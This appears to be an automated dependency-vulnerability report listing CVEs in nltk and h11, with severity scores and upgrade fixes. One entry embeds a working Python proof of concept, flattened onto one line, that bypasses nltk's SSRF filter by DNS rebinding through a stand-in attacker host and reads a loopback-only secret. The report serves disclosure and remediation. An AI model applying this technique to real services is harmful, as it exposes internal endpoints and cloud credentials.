- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-08-20
Fix Resolution (nltk): 3.10.1
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
In order to enable automatic remediation for this issue, please create workflow rules
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Vulnerabilities
*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.
**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation
Details
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions <=3.9.2 are vulnerable to arbitrary code execution due to improper input validation in the StanfordSegmenter module. The module dynamically loads external Java .jar files without verification or sandboxing. An attacker can supply or replace the JAR file, enabling the execution of arbitrary Java bytecode at import time. This vulnerability can be exploited through methods such as model poisoning, MITM attacks, or dependency poisoning, leading to remote code execution. The issue arises from the direct execution of the JAR file via subprocess with unvalidated classpath input, allowing malicious classes to execute when loaded by the JVM.
Publish Date: 2026-03-05
URL: CVE-2026-0848
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.809%
CVSS 3 Score Details (10.0)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: https://huntr.com/bounties/08b109bb-ac24-403f-9422-1c246ce60202
Release Date: 2026-03-05
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-02-18
URL: CVE-2025-14009
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.79%
CVSS 3 Score Details (10.0)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-7p94-766c-hgjp
Release Date: 2026-02-18
Fix Resolution: nltk - 3.9.3,nltk - 3.9.3
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.
Publish Date: 2024-06-27
URL: CVE-2024-39705
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 1.346%
CVSS 3 Score Details (9.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2024-06-27
Fix Resolution (nltk): 3.8.2
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.
Publish Date: 2026-08-25
URL: CVE-2026-78683
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.276%
CVSS 3 Score Details (9.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.0,nltk - 3.10.0,https://github.com/nltk/nltk.git - v3.10.0
Vulnerable Library - h11-0.14.0-py3-none-any.whl
A pure-Python, bring-your-own-I/O implementation of HTTP/1.1
Library home page: https://files.pythonhosted.org/packages/95/04/ff642e65ad6b90db43e668d70ffb6736436c7ce41fcc549f4e9472234127/h11-0.14.0-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/h11-0.14.0.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
Publish Date: 2025-04-24
URL: CVE-2025-43859
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.581%
CVSS 3 Score Details (9.1)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: None
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-vqfr-h8mv-ghfj
Release Date: 2025-04-24
Fix Resolution (h11): 0.16.0
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.
Publish Date: 2026-08-22
URL: CVE-2026-71513
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.784%
CVSS 3 Score Details (8.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-08-22
Fix Resolution (nltk): 3.10.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
Summary "nltk.pathsec" provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict "ENFORCE" mode for security-sensitive environments. The filter is bypassable by DNS rebinding: "validate_network_url()" resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under "nltk.pathsec.ENFORCE = True". Details "urlopen()" validates, then hands the raw hostname to "urllib", which performs a second name resolution deep in the connection layer ("http.client.HTTPConnection.connect" → "socket.create_connection" → "socket.getaddrinfo"). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. "validate_network_url()" calls "_resolve_hostname(parsed.hostname)" and checks each returned IP against loopback/link-local/multicast/private, blocking under "ENFORCE". (Resolution #1.) 2. "urlopen()" then calls "build_opener(...).open(url)" with the original URL (raw hostname), so "urllib" resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) "_resolve_hostname" is decorated with "lru_cache" and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's "getaddrinfo" does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. PoC import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.version} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62) if name == "main": main() Impact - Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. "nltk.data.load" with "format="raw""), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the "nltk.pathsec" SSRF filter, including the "ENFORCE" mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the "lru_cache" annotation claiming to mitigate rebinding makes the false assurance worse.
Publish Date: 2026-07-31
URL: CVE-2026-12075
Threat Assessment
Exploit Maturity: Not Defined
EPSS:
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-qvv7-cg9c-w4x3
Release Date: 2026-07-31
Fix Resolution: nltk - 3.10.0,nltk - 3.10.0
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.
Publish Date: 2026-03-04
URL: CVE-2026-0847
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.899%
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-03-04
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A vulnerability in the "filestring()" function of the "nltk.util" module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.
Publish Date: 2026-03-09
URL: CVE-2026-0846
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.428%
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-03-09
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the "subdir" and "id" attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as "../"), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
Publish Date: 2026-03-20
URL: CVE-2026-33236
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.575%
CVSS 3 Score Details (8.1)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent.repr_svg, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-08-25
URL: CVE-2026-78680
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.12%
CVSS 3 Score Details (7.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Local
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-6hwm-xvph-95vm
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.3,nltk - 3.10.3
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-07-24
URL: CVE-2025-71408
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.198%
CVSS 3 Score Details (7.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Local
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-07-24
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.
Publish Date: 2026-08-25
URL: CVE-2026-78681
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.278%
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-97qj-x29f-37w7
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.3,nltk - 3.10.3
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-08-20
URL: CVE-2026-72818
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.505%
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Release Date: 2026-08-20
Fix Resolution (nltk): 3.10.1
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
In order to enable automatic remediation for this issue, please create workflow rules